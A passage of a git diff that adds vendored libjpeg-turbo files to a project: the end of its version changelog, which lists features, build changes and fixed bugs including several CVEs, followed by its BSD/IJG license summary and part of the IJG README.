or CMYK JPEGs to be decompressed to +CMYK destination images. Conversion between CMYK/YCCK and RGB or YUV images is +not supported. Such conversion requires a color management system and is thus +out of scope for a codec library. + - The handling of YUV images in the Java API has been significantly +refactored and should now be much more intuitive. + - The Java API now supports encoding a YUV image from an arbitrary +position in a large image buffer. + - All of the YUV functions now have a corresponding function that operates +on separate image planes instead of a unified image buffer. This allows for +compressing/decoding from or decompressing/encoding to a subregion of a larger +YUV image. It also allows for handling YUV formats that swap the order of the +U and V planes. + +2. Added SIMD acceleration for DSPr2-capable MIPS platforms. This speeds up +the compression of full-color JPEGs by 70-80% on such platforms and +decompression by 25-35%. + +3. If an application attempts to decompress a Huffman-coded JPEG image whose +header does not contain Huffman tables, libjpeg-turbo will now insert the +default Huffman tables. In order to save space, many motion JPEG video frames +are encoded without the default Huffman tables, so these frames can now be +successfully decompressed by libjpeg-turbo without additional work on the part +of the application. An application can still override the Huffman tables, for +instance to re-use tables from a previous frame of the same video. + +4. The Mac packaging system now uses pkgbuild and productbuild rather than +PackageMaker (which is obsolete and no longer supported.) This means that +OS X 10.6 "Snow Leopard" or later must be used when packaging libjpeg-turbo, +although the packages produced can be installed on OS X 10.5 "Leopard" or +later. OS X 10.4 "Tiger" is no longer supported. + +5. The Huffman encoder now uses `clz` and `bsr` instructions for bit counting +on ARM platforms rather than a lookup table. This reduces the memory footprint +by 64k, which may be important for some mobile applications. Out of four +Android devices that were tested, two demonstrated a small overall performance +loss (~3-4% on average) with ARMv6 code and a small gain (also ~3-4%) with +ARMv7 code when enabling this new feature, but the other two devices +demonstrated a significant overall performance gain with both ARMv6 and ARMv7 +code (~10-20%) when enabling the feature. Actual mileage may vary. + +6. Worked around an issue with Visual C++ 2010 and later that caused incorrect +pixels to be generated when decompressing a JPEG image to a 256-color bitmap, +if compiler optimization was enabled when libjpeg-turbo was built. This caused +the regression tests to fail when doing a release build under Visual C++ 2010 +and later. + +7. Improved the accuracy and performance of the non-SIMD implementation of the +floating point inverse DCT (using code borrowed from libjpeg v8a and later.) +The accuracy of this implementation now matches the accuracy of the SSE/SSE2 +implementation. Note, however, that the floating point DCT/IDCT algorithms are +mainly a legacy feature. They generally do not produce significantly better +accuracy than the accurate integer DCT/IDCT algorithms, and they are quite a +bit slower. + +8. Added a new output colorspace (`JCS_RGB565`) to the libjpeg API that allows +for decompressing JPEG images into RGB565 (16-bit) pixels. If dithering is not +used, then this code path is SIMD-accelerated on ARM platforms. + +9. Numerous obsolete features, such as support for non-ANSI compilers and +support for the MS-DOS memory model, were removed from the libjpeg code, +greatly improving its readability and making it easier to maintain and extend. + +10. Fixed a segfault that occurred when calling `output_message()` with +`msg_code` set to `JMSG_COPYRIGHT`. + +11. Fixed an issue whereby wrjpgcom was allowing comments longer than 65k +characters to be passed on the command line, which was causing it to generate +incorrect JPEG files. + +12. Fixed a bug in the build system that was causing the Windows version of +wrjpgcom to be built using the rdjpgcom source code. + +13. Restored 12-bit-per-component JPEG support. A 12-bit version of +libjpeg-turbo can now be built by passing an argument of `--with-12bit` to +configure (Unix) or `-DWITH_12BIT=1` to cmake (Windows.) 12-bit JPEG support +is included only for convenience. Enabling this feature disables all of the +performance features in libjpeg-turbo, as well as arithmetic coding and the +TurboJPEG API. The resulting library still contains the other libjpeg-turbo +features (such as the colorspace extensions), but in general, it performs no +faster than libjpeg v6b. + +14. Added ARM 64-bit SIMD acceleration for the YCC-to-RGB color conversion +and IDCT algorithms (both are used during JPEG decompression.) For +reasons (probably related to clang), this code cannot currently be compiled for +iOS. + +15. Fixed an extremely rare bug (CVE-2014-9092) that could cause the Huffman +encoder's local buffer to overrun when a very high-frequency MCU is compressed +using quality 100 and no subsampling, and when the JPEG output buffer is being +dynamically resized by the destination manager. This issue was so rare that, +even with a test program specifically designed to make the bug occur (by +injecting random high-frequency YUV data into the compressor), it was +reproducible only once in about every 25 million iterations. + +16. Fixed an oversight in the TurboJPEG C wrapper: if any of the JPEG +compression functions was called repeatedly with the same +automatically-allocated destination buffer, then TurboJPEG would erroneously +assume that the `jpegSize` parameter was equal to the size of the buffer, when +in fact that parameter was probably equal to the size of the most recently +compressed JPEG image. If the size of the previous JPEG image was not as large +as the current JPEG image, then TurboJPEG would unnecessarily reallocate the +destination buffer. + + +1.3.1 +===== + +### Significant changes relative to 1.3.0: + +1. On Un*x systems, `make install` now installs the libjpeg-turbo libraries +into /opt/libjpeg-turbo/lib32 by default on any 32-bit system, not just x86, +and into /opt/libjpeg-turbo/lib64 by default on any 64-bit system, not just +x86-64. You can override this by overriding either the `prefix` or `libdir` +configure variables. + +2. The Windows installer now places a copy of the TurboJPEG DLLs in the same +directory as the rest of the libjpeg-turbo binaries. This was mainly done +to support TurboVNC 1.3, which bundles the DLLs in its Windows installation. +When using a 32-bit version of CMake on 64-bit Windows, it is impossible to +access the c:\WINDOWS\system32 directory, which made it impossible for the +TurboVNC build scripts to bundle the 64-bit TurboJPEG DLL. + +3. Fixed a bug whereby attempting to encode a progressive JPEG with arithmetic +entropy coding (by passing arguments of `-progressive -arithmetic` to cjpeg or +jpegtran, for instance) would result in an error, `Requested feature was +omitted at compile time`. + +4. Fixed a couple of issues (CVE-2013-6629 and CVE-2013-6630) whereby malformed +JPEG images would cause libjpeg-turbo to use uninitialized memory during +decompression. + +5. Fixed an error (`Buffer passed to JPEG library is too small`) that occurred +when calling the TurboJPEG YUV encoding function with a very small (< 5x5) +source image, and added a unit test to check for this error. + +6. The Java classes should now build properly under Visual Studio 2010 and +later. + +7. Fixed an issue that prevented SRPMs generated using the in-tree packaging +tools from being rebuilt on certain newer Linux distributions. + +8. Numerous minor fixes to eliminate compilation and build/packaging system +warnings, fix cosmetic issues, improve documentation clarity, and other general +source cleanup. + + +1.3.0 +===== + +### Significant changes relative to 1.3 beta1: + +1. `make test` now works properly on FreeBSD, and it no longer requires the +md5sum executable to be present on other Un*x platforms. + +2. Overhauled the packaging system: + + - To avoid conflict with vendor-supplied libjpeg-turbo packages, the +official RPMs and DEBs for libjpeg-turbo have been renamed to +"libjpeg-turbo-official". + - The TurboJPEG libraries are now located under /opt/libjpeg-turbo in the +official Linux and Mac packages, to avoid conflict with vendor-supplied +packages and also to streamline the packaging system. + - Release packages are now created with the directory structure defined +by the configure variables `prefix`, `bindir`, `libdir`, etc. (Un\*x) or by the +`CMAKE_INSTALL_PREFIX` variable (Windows.) The exception is that the docs are +always located under the system default documentation directory on Un\*x and +Mac systems, and on Windows, the TurboJPEG DLL is always located in the Windows +system directory. + - To avoid confusion, official libjpeg-turbo packages on Linux/Unix +platforms (except for Mac) will always install the 32-bit libraries in +/opt/libjpeg-turbo/lib32 and the 64-bit libraries in /opt/libjpeg-turbo/lib64. + - Fixed an issue whereby, in some cases, the libjpeg-turbo executables on +Un*x systems were not properly linking with the shared libraries installed by +the same package. + - Fixed an issue whereby building the "installer" target on Windows when +`WITH_JAVA=1` would fail if the TurboJPEG JAR had not been previously built. + - Building the "install" target on Windows now installs files into the +same places that the installer does. + +3. Fixed a Huffman encoder bug that prevented I/O suspension from working +properly. + + +1.2.90 (1.3 beta1) +================== + +### Significant changes relative to 1.2.1: + +1. Added support for additional scaling factors (3/8, 5/8, 3/4, 7/8, 9/8, 5/4, +11/8, 3/2, 13/8, 7/4, 15/8, and 2) when decompressing. Note that the IDCT will +not be SIMD-accelerated when using any of these new scaling factors. + +2. The TurboJPEG dynamic library is now versioned. It was not strictly +necessary to do so, because TurboJPEG uses versioned symbols, and if a function +changes in an ABI-incompatible way, that function is renamed and a legacy +function is provided to maintain backward compatibility. However, certain +Linux distro maintainers have a policy against accepting any library that isn't +versioned. + +3. Extended the TurboJPEG Java API so that it can be used to compress a JPEG +image from and decompress a JPEG image to an arbitrary position in a large +image buffer. + +4. The `tjDecompressToYUV()` function now supports the `TJFLAG_FASTDCT` flag. + +5. The 32-bit supplementary package for amd64 Debian systems now provides +symlinks in /usr/lib/i386-linux-gnu for the TurboJPEG libraries in /usr/lib32. +This allows those libraries to be used on MultiArch-compatible systems (such as +Ubuntu 11 and later) without setting the linker path. + +6. The TurboJPEG Java wrapper should now find the JNI library on Mac systems +without having to pass `-Djava.library.path=/usr/lib` to java. + +7. TJBench has been ported to Java to provide a convenient way of validating +the performance of the TurboJPEG Java API. It can be run with +`java -cp turbojpeg.jar TJBench`. + +8. cjpeg can now be used to generate JPEG files with the RGB colorspace +(feature ported from jpeg-8d.) + +9. The width and height in the `-crop` argument passed to jpegtran can now be +suffixed with `f` to indicate that, when the upper left corner of the cropping +region is automatically moved to the nearest iMCU boundary, the bottom right +corner should be moved by the same amount. In other words, this feature causes +jpegtran to strictly honor the specified width/height rather than the specified +bottom right corner (feature ported from jpeg-8d.) + +10. JPEG files using the RGB colorspace can now be decompressed into grayscale +images (feature ported from jpeg-8d.) + +11. Fixed a regression caused by 1.2.1[7] whereby the build would fail with +multiple "Mismatch in operand sizes" errors when attempting to build the x86 +SIMD code with NASM 0.98. + +12. The in-memory source/destination managers (`jpeg_mem_src()` and +`jpeg_mem_dest()`) are now included by default when building libjpeg-turbo with +libjpeg v6b or v7 emulation, so that programs can take advantage of these +functions without requiring the use of the backward-incompatible libjpeg v8 +ABI. The "age number" of the libjpeg-turbo library on Un*x systems has been +incremented by 1 to reflect this. You can disable this feature with a +configure/CMake switch in order to retain strict API/ABI compatibility with the +libjpeg v6b or v7 API/ABI (or with previous versions of libjpeg-turbo.) See +[README.md](README.md) for more details. + +13. Added ARMv7s architecture to libjpeg.a and libturbojpeg.a in the official +libjpeg-turbo binary package for OS X, so that those libraries can be used to +build applications that leverage the faster CPUs in the iPhone 5 and iPad 4. + + +1.2.1 +===== + +### Significant changes relative to 1.2.0: + +1. Creating or decoding a JPEG file that uses the RGB colorspace should now +properly work when the input or output colorspace is one of the libjpeg-turbo +colorspace extensions. + +2. When libjpeg-turbo was built without SIMD support and merged (non-fancy) +upsampling was used along with an alpha-enabled colorspace during +decompression, the unused byte of the decompressed pixels was not being set to +0xFF. This has been fixed. TJUnitTest has also been extended to test for the +correct behavior of the colorspace extensions when merged upsampling is used. + +3. Fixed a bug whereby the libjpeg-turbo SSE2 SIMD code would not preserve the +upper 64 bits of xmm6 and xmm7 on Win64 platforms, which violated the Win64 +calling conventions. + +4. Fixed a regression (CVE-2012-2806) caused by 1.2.0[6] whereby decompressing +corrupt JPEG images (specifically, images in which the component count was +erroneously set to a large value) would cause libjpeg-turbo to segfault. + +5. Worked around a severe performance issue with "Bobcat" (AMD Embedded APU) +processors. The `MASKMOVDQU` instruction, which was used by the libjpeg-turbo +SSE2 SIMD code, is apparently implemented in microcode on AMD processors, and +it is painfully slow on Bobcat processors in particular. Eliminating the use +of this instruction improved performance by an order of magnitude on Bobcat +processors and by a small amount (typically 5%) on AMD desktop processors. + +6. Added SIMD acceleration for performing 4:2:2 upsampling on NEON-capable ARM +platforms. This speeds up the decompression of 4:2:2 JPEGs by 20-25% on such +platforms. + +7. Fixed a regression caused by 1.2.0[2] whereby, on Linux/x86 platforms +running the 32-bit SSE2 SIMD code in libjpeg-turbo, decompressing a 4:2:0 or +4:2:2 JPEG image into a 32-bit (RGBX, BGRX, etc.) buffer without using fancy +upsampling would produce several incorrect columns of pixels at the right-hand +side of the output image if each row in the output image was not evenly +divisible by 16 bytes. + +8. Fixed an issue whereby attempting to build the SIMD extensions with Xcode +4.3 on OS X platforms would cause NASM to return numerous errors of the form +"'%define' expects a macro identifier". + +9. Added flags to the TurboJPEG API that allow the caller to force the use of +either the fast or the accurate DCT/IDCT algorithms in the underlying codec. + + +1.2.0 +===== + +### Significant changes relative to 1.2 beta1: + +1. Fixed build issue with Yasm on Unix systems (the libjpeg-turbo build system +was not adding the current directory to the assembler include path, so Yasm +was not able to find jsimdcfg.inc.) + +2. Fixed out-of-bounds read in SSE2 SIMD code that occurred when decompressing +a JPEG image to a bitmap buffer whose size was not a multiple of 16 bytes. +This was more of an annoyance than an actual bug, since it did not cause any +actual run-time problems, but the issue showed up when running libjpeg-turbo in +valgrind. See for more information. + +3. Added a compile-time macro (`LIBJPEG_TURBO_VERSION`) that can be used to +check the version of libjpeg-turbo against which an application was compiled. + +4. Added new RGBA/BGRA/ABGR/ARGB colorspace extension constants (libjpeg API) +and pixel formats (TurboJPEG API), which allow applications to specify that, +when decompressing to a 4-component RGB buffer, the unused byte should be set +to 0xFF so that it can be interpreted as an opaque alpha channel. + +5. Fixed regression issue whereby DevIL failed to build against libjpeg-turbo +because libjpeg-turbo's distributed version of jconfig.h contained an `INLINE` +macro, which conflicted with a similar macro in DevIL. This macro is used only +internally when building libjpeg-turbo, so it was moved into config.h. + +6. libjpeg-turbo will now correctly decompress erroneous CMYK/YCCK JPEGs whose +K component is assigned a component ID of 1 instead of 4. Although these files +are in violation of the spec, other JPEG implementations handle them +correctly. + +7. Added ARMv6 and ARMv7 architectures to libjpeg.a and libturbojpeg.a in +the official libjpeg-turbo binary package for OS X, so that those libraries can +be used to build both OS X and iOS applications. + + +1.1.90 (1.2 beta1) +================== + +### Significant changes relative to 1.1.1: + +1. Added a Java wrapper for the TurboJPEG API. See +[java/README.md](java/README.md) for more details. + +2. The TurboJPEG API can now be used to scale down images during +decompression. + +3. Added SIMD routines for RGB-to-grayscale color conversion, which +significantly improves the performance of grayscale JPEG compression from an +RGB source image. + +4. Improved the performance of the C color conversion routines, which are used +on platforms for which SIMD acceleration is not available. + +5. Added a function to the TurboJPEG API that performs lossless transforms. +This function is implemented using the same back end as jpegtran, but it +performs transcoding entirely in memory and allows multiple transforms and/or +crop operations to be batched together, so the source coefficients only need to +be read once. This is useful when generating image tiles from a single source +JPEG. + +6. Added tests for the new TurboJPEG scaled decompression and lossless +transform features to tjbench (the TurboJPEG benchmark, formerly called +"jpgtest".) + +7. Added support for 4:4:0 (transposed 4:2:2) subsampling in TurboJPEG, which +was necessary in order for it to read 4:2:2 JPEG files that had been losslessly +transposed or rotated 90 degrees. + +8. All legacy VirtualGL code has been re-factored, and this has allowed +libjpeg-turbo, in its entirety, to be re-licensed under a BSD-style license. + +9. libjpeg-turbo can now be built with Yasm. + +10. Added SIMD acceleration for ARM Linux and iOS platforms that support +NEON instructions. + +11. Refactored the TurboJPEG C API and documented it using Doxygen. The +TurboJPEG 1.2 API uses pixel formats to define the size and component order of +the uncompressed source/destination images, and it includes a more efficient +version of `TJBUFSIZE()` that computes a worst-case JPEG size based on the +level of chrominance subsampling. The refactored implementation of the +TurboJPEG API now uses the libjpeg memory source and destination managers, +which allows the TurboJPEG compressor to grow the JPEG buffer as necessary. + +12. Eliminated errors in the output of jpegtran on Windows that occurred when +the application was invoked using I/O redirection +(`jpegtran output.jpg`.) + +13. The inclusion of libjpeg v7 and v8 emulation as well as arithmetic coding +support in libjpeg-turbo v1.1.0 introduced several new error constants in +jerror.h, and these were mistakenly enabled for all emulation modes, causing +the error enum in libjpeg-turbo to sometimes have different values than the +same enum in libjpeg. This represents an ABI incompatibility, and it caused +problems with rare applications that took specific action based on a particular +error value. The fix was to include the new error constants conditionally +based on whether libjpeg v7 or v8 emulation was enabled. + +14. Fixed an issue whereby Windows applications that used libjpeg-turbo would +fail to compile if the Windows system headers were included before jpeglib.h. +This issue was caused by a conflict in the definition of the INT32 type. + +15. Fixed 32-bit supplementary package for amd64 Debian systems, which was +broken by enhancements to the packaging system in 1.1. + +16. When decompressing a JPEG image using an output colorspace of +`JCS_EXT_RGBX`, `JCS_EXT_BGRX`, `JCS_EXT_XBGR`, or `JCS_EXT_XRGB`, +libjpeg-turbo will now set the unused byte to 0xFF, which allows applications +to interpret that byte as an alpha channel (0xFF = opaque). + + +1.1.1 +===== + +### Significant changes relative to 1.1.0: + +1. Fixed a 1-pixel error in row 0, column 21 of the luminance plane generated +by `tjEncodeYUV()`. + +2. libjpeg-turbo's accelerated Huffman decoder previously ignored unexpected +markers found in the middle of the JPEG data stream during decompression. It +will now hand off decoding of a particular block to the unaccelerated Huffman +decoder if an unexpected marker is found, so that the unaccelerated Huffman +decoder can generate an appropriate warning. + +3. Older versions of MinGW64 prefixed symbol names with underscores by +default, which differed from the behavior of 64-bit Visual C++. MinGW64 1.0 +has adopted the behavior of 64-bit Visual C++ as the default, so to accommodate +this, the libjpeg-turbo SIMD function names are no longer prefixed with an +underscore when building with MinGW64. This means that, when building +libjpeg-turbo with older versions of MinGW64, you will now have to add +`-fno-leading-underscore` to the `CFLAGS`. + +4. Fixed a regression bug in the NSIS script that caused the Windows installer +build to fail when using the Visual Studio IDE. + +5. Fixed a bug in `jpeg_read_coefficients()` whereby it would not initialize +`cinfo->image_width` and `cinfo->image_height` if libjpeg v7 or v8 emulation +was enabled. This specifically caused the jpegoptim program to fail if it was +linked against a version of libjpeg-turbo that was built with libjpeg v7 or v8 +emulation. + +6. Eliminated excessive I/O overhead that occurred when reading BMP files in +cjpeg. + +7. Eliminated errors in the output of cjpeg on Windows that occurred when the +application was invoked using I/O redirection (`cjpeg output.jpg`.) + + +1.1.0 +===== + +### Significant changes relative to 1.1 beta1: + +1. The algorithm used by the SIMD quantization function cannot produce correct +results when the JPEG quality is >= 98 and the fast integer forward DCT is +used. Thus, the non-SIMD quantization function is now used for those cases, +and libjpeg-turbo should now produce identical output to libjpeg v6b in all +cases. + +2. Despite the above, the fast integer forward DCT still degrades somewhat for +JPEG qualities greater than 95, so the TurboJPEG wrapper will now automatically +use the accurate integer forward DCT when generating JPEG images of quality 96 +or greater. This reduces compression performance by as much as 15% for these +high-quality images but is necessary to ensure that the images are perceptually +lossless. It also ensures that the library can avoid the performance pitfall +created by [1]. + +3. Ported jpgtest.cxx to pure C to avoid the need for a C++ compiler. + +4. Fixed visual artifacts in grayscale JPEG compression caused by a typo in +the RGB-to-luminance lookup tables. + +5. The Windows distribution packages now include the libjpeg run-time programs +(cjpeg, etc.) + +6. All packages now include jpgtest. + +7. The TurboJPEG dynamic library now uses versioned symbols. + +8. Added two new TurboJPEG API functions, `tjEncodeYUV()` and +`tjDecompressToYUV()`, to replace the somewhat hackish `TJ_YUV` flag. + + +1.0.90 (1.1 beta1) +================== + +### Significant changes relative to 1.0.1: + +1. Added emulation of the libjpeg v7 and v8 APIs and ABIs. See +[README.md](README.md) for more details. This feature was sponsored by +CamTrace SAS. + +2. Created a new CMake-based build system for the Visual C++ and MinGW builds. + +3. Grayscale bitmaps can now be compressed from/decompressed to using the +TurboJPEG API. + +4. jpgtest can now be used to test decompression performance with existing +JPEG images. + +5. If the default install prefix (/opt/libjpeg-turbo) is used, then +`make install` now creates /opt/libjpeg-turbo/lib32 and +/opt/libjpeg-turbo/lib64 sym links to duplicate the behavior of the binary +packages. + +6. All symbols in the libjpeg-turbo dynamic library are now versioned, even +when the library is built with libjpeg v6b emulation. + +7. Added arithmetic encoding and decoding support (can be disabled with +configure or CMake options) + +8. Added a `TJ_YUV` flag to the TurboJPEG API, which causes both the compressor +and decompressor to output planar YUV images. + +9. Added an extended version of `tjDecompressHeader()` to the TurboJPEG API, +which allows the caller to determine the type of subsampling used in a JPEG +image. + +10. Added further protections against invalid Huffman codes. + + +1.0.1 +===== + +### Significant changes relative to 1.0.0: + +1. The Huffman decoder will now handle erroneous Huffman codes (for instance, +from a corrupt JPEG image.) Previously, these would cause libjpeg-turbo to +crash under certain circumstances. + +2. Fixed typo in SIMD dispatch routines that was causing 4:2:2 upsampling to +be used instead of 4:2:0 when decompressing JPEG images using SSE2 code. + +3. The configure script will now automatically determine whether the +`INCOMPLETE_TYPES_BROKEN` macro should be defined. + + +1.0.0 +===== + +### Significant changes relative to 0.0.93: + +1. 2983700: Further FreeBSD build tweaks (no longer necessary to specify +`--host` when configuring on a 64-bit system) + +2. Created symlinks in the Unix/Linux packages so that the TurboJPEG +include file can always be found in /opt/libjpeg-turbo/include, the 32-bit +static libraries can always be found in /opt/libjpeg-turbo/lib32, and the +64-bit static libraries can always be found in /opt/libjpeg-turbo/lib64. + +3. The Unix/Linux distribution packages now include the libjpeg run-time +programs (cjpeg, etc.) and man pages. + +4. Created a 32-bit supplementary package for amd64 Debian systems, which +contains just the 32-bit libjpeg-turbo libraries. + +5. Moved the libraries from */lib32 to */lib in the i386 Debian package. + +6. Include distribution package for Cygwin + +7. No longer necessary to specify `--without-simd` on non-x86 architectures, +and unit tests now work on those architectures. + + +0.0.93 +====== + +### Significant changes relative to 0.0.91: + +1. 2982659: Fixed x86-64 build on FreeBSD systems + +2. 2988188: Added support for Windows 64-bit systems + + +0.0.91 +====== + +### Significant changes relative to 0.0.90: + +1. Added documentation to .deb packages + +2. 2968313: Fixed data corruption issues when decompressing large JPEG images +and/or using buffered I/O with the libjpeg-turbo decompressor + + +0.0.90 +====== + +Initial release diff --git a/lib/libjpeg-turbo/LICENSE.md b/lib/libjpeg-turbo/LICENSE.md new file mode 100755 index 0000000..ae8f8aa --- /dev/null +++ b/lib/libjpeg-turbo/LICENSE.md @@ -0,0 +1,135 @@ +libjpeg-turbo Licenses +====================== + +libjpeg-turbo is covered by two compatible BSD-style open source licenses: + +- The IJG (Independent JPEG Group) License, which is listed in + [README.ijg](README.ijg) + + This license applies to the libjpeg API library and associated programs, + including any code inherited from libjpeg and any modifications to that + code. Note that the libjpeg-turbo SIMD source code bears the + [zlib License](https://opensource.org/licenses/Zlib), but in the context of + the overall libjpeg API library, the terms of the zlib License are subsumed + by the terms of the IJG License. + +- The Modified (3-clause) BSD License, which is listed below + + This license applies to the TurboJPEG API library and associated programs, as + well as the build system. Note that the TurboJPEG API library wraps the + libjpeg API library, so in the context of the overall TurboJPEG API library, + both the terms of the IJG License and the terms of the Modified (3-clause) + BSD License apply. + + +Complying with the libjpeg-turbo Licenses +========================================= + +This section provides a roll-up of the libjpeg-turbo licensing terms, to the +best of our understanding. This is not a license in and of itself. It is +intended solely for clarification. + +1. If you are distributing a modified version of the libjpeg-turbo source, + then: + + 1. You cannot alter or remove any existing copyright or license notices + from the source. + + **Origin** + - Clause 1 of the IJG License + - Clause 1 of the Modified BSD License + - Clauses 1 and 3 of the zlib License + + 2. You must add your own copyright notice to the header of each source + file you modified, so others can tell that you modified that file. (If + there is not an existing copyright header in that file, then you can + simply add a notice stating that you modified the file.) + + **Origin** + - Clause 1 of the IJG License + - Clause 2 of the zlib License + + 3. You must include the IJG README file, and you must not alter any of the + copyright or license text in that file. + + **Origin** + - Clause 1 of the IJG License + +2. If you are distributing only libjpeg-turbo binaries without the source, or + if you are distributing an application that statically links with + libjpeg-turbo, then: + + 1. Your product documentation must include a message stating: + + This software is based in part on the work of the Independent JPEG + Group. + + **Origin** + - Clause 2 of the IJG license + + 2. If your binary distribution includes or uses the TurboJPEG API, then + your product documentation must include the text of the Modified BSD + License (see below.) + + **Origin** + - Clause 2 of the Modified BSD License + +3. You cannot use the name of the IJG or The libjpeg-turbo Project or the + contributors thereof in advertising, publicity, etc. + + **Origin** + - IJG License + - Clause 3 of the Modified BSD License + +4. The IJG and The libjpeg-turbo Project do not warrant libjpeg-turbo to be + free of defects, nor do we accept any liability for undesirable + consequences resulting from your use of the software. + + **Origin** + - IJG License + - Modified BSD License + - zlib License + + +The Modified (3-clause) BSD License +=================================== + +Copyright (C) 2009-2026 D. R. Commander. All Rights Reserved.
+Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +- Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. +- Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. +- Neither the name of the libjpeg-turbo Project nor the names of its + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + + +Why Two Licenses? +================= + +The zlib License could have been used instead of the Modified (3-clause) BSD +License, and since the IJG License effectively subsumes the distribution +conditions of the zlib License, this would have effectively placed +libjpeg-turbo binary distributions under the IJG License. However, the IJG +License specifically refers to the Independent JPEG Group and does not extend +attribution and endorsement protections to other entities. Thus, it was +desirable to choose a license that granted us the same protections for new code +that were granted to the IJG for code derived from their software. diff --git a/lib/libjpeg-turbo/README.ijg b/lib/libjpeg-turbo/README.ijg new file mode 100755 index 0000000..1e5525c --- /dev/null +++ b/lib/libjpeg-turbo/README.ijg @@ -0,0 +1,260 @@ +libjpeg-turbo note: This file has been modified by The libjpeg-turbo Project +to include only information relevant to libjpeg-turbo, to wordsmith certain +sections, and to remove impolitic language that existed in the libjpeg v8 +README. It is included only for reference. Please see README.md for +information specific to libjpeg-turbo. + + +The Independent JPEG Group's JPEG software +========================================== + +This distribution contains a release of the Independent JPEG Group's free JPEG +software. You are welcome to redistribute this software and to use it for any +purpose, subject to the conditions under LEGAL ISSUES, below. + +This software is the work of Tom Lane, Guido Vollbeding, Philip Gladstone, +Bill Allombert, Jim Boucher, Lee Crocker, Bob Friesenhahn, Ben Jackson, +Julian Minguillon, Luis Ortiz, George Phillips, Davide Rossi, Ge' Weijers, +and other members of the Independent JPEG Group. + +IJG is not affiliated with the ISO/IEC JTC1/SC29/WG1 standards committee +(also known as JPEG, together with ITU-T SG16). + + +DOCUMENTATION ROADMAP +===================== + +This file contains the following sections: + +OVERVIEW General description of JPEG and the IJG software. +LEGAL ISSUES Copyright, lack of warranty, terms of distribution. +REFERENCES Where to learn more about JPEG. +ARCHIVE LOCATIONS Where to find newer versions of this software. +FILE FORMAT WARS Software *not* to get. +TO DO Plans for future IJG releases. + +Other documentation files in the distribution are: + +User documentation: + doc/usage.txt Usage instructions for cjpeg, djpeg, jpegtran, + rdjpgcom, and wrjpgcom. + doc/*.1 Unix-style man pages for programs (same info as + usage.txt). + doc/wizard.txt Advanced usage instructions for JPEG wizards only. + doc/change.log Version-to-version change highlights. +Programmer and internal documentation: + doc/libjpeg.txt How to use the JPEG library in your own programs. + src/example.c Sample code for calling the JPEG library. + doc/structure.txt Overview of the JPEG library's internal structure. + doc/coderules.txt Coding style rules --- please read if you contribute + code. + +Please read at least usage.txt. Some information can also be found in the JPEG +FAQ (Frequently Asked Questions) article. See ARCHIVE LOCATIONS below to find +out where to obtain the FAQ article. + +If you want to understand how the JPEG code works, we suggest reading one or +more of the REFERENCES, then looking at the documentation files (in roughly +the order listed) before diving into the code. + + +OVERVIEW +======== + +This package contains C software to implement JPEG image encoding, decoding, +and transcoding. JPEG (pronounced "jay-peg") is a standardized compression +method for full-color and grayscale images. JPEG's strong suit is compressing +photographic images or other types of images that have smooth color and +brightness transitions between neighboring pixels. Images with sharp lines or +other abrupt features may not compress well with JPEG, and a higher JPEG +quality may have to be used to avoid visible compression artifacts with such +images. + +JPEG is normally lossy, meaning that the output pixels are not necessarily +identical to the input pixels. However, on photographic content and other +"smooth" images, very good compression ratios can be obtained with no visible +compression artifacts, and extremely high compression ratios are possible if +you are willing to sacrifice image quality (by reducing the "quality" setting +in the compressor.) + +This software implements JPEG baseline, extended-sequential, progressive, and +lossless compression processes. Provision is made for supporting all variants +of these processes, although some uncommon parameter settings aren't +implemented yet. We have made no provision for supporting the hierarchical +processes defined in the standard. + +We provide a set of library routines for reading and writing JPEG image files, +plus two sample applications "cjpeg" and "djpeg", which use the library to +perform conversion between JPEG and some other popular image file formats. +The library is intended to be reused in other applications. + +In order to support file conversion and viewing software, we have included +considerable functionality beyond the bare JPEG coding/decoding capability; +for example, the color quantization modules are not strictly part of JPEG +decoding, but they are essential for output to colormapped file formats. These +extra functions can be compiled out of the library if not required for a +particular application. + +We have also included "jpegtran", a utility for lossless transcoding between +different JPEG processes, and "rdjpgcom" and "wrjpgcom", two simple +applications for inserting and extracting textual comments in JFIF files. + +The emphasis in designing this software has been on achieving portability and +flexibility, while also making it fast enough to be useful. In particular, +the software is not intended to be read as a tutorial on JPEG. (See the +REFERENCES section for introductory material.) Rather, it is intended to +be reliable, portable, industrial-strength code. We do not claim to have +achieved that goal in every aspect of the software, but we strive for it. + +We welcome the use of this software as a component of commercial products. +No royalty is required, but we do ask for an acknowledgement in product +documentation, as described under LEGAL ISSUES. + + +LEGAL ISSUES +============ + +In plain English: + +1. We don't promise that this software works. (But if you find any bugs, + please let us know!) +2. You can use this software for whatever you want. You don't have to pay us. +3. You may not pretend that you wrote this software. If you use it in a + program, you must acknowledge somewhere in your documentation that + you've used the IJG code. + +In legalese: + +The authors make NO WARRANTY or representation, either express or implied, +with respect to this software, its quality, accuracy, merchantability, or +fitness for a particular purpose. This software is provided "AS IS", and you, +its user, assume the entire risk as to its quality and accuracy. + +This software is copyright (C) 1991-2020, Thomas G. Lane, Guido Vollbeding. +All Rights Reserved except as specified below. + +Permission is hereby granted to use, copy, modify, and distribute this +software (or portions thereof) for any purpose, without fee, subject to these +conditions: +(1) If any part of the source code for this software is distributed, then this +README file must be included, with this copyright and 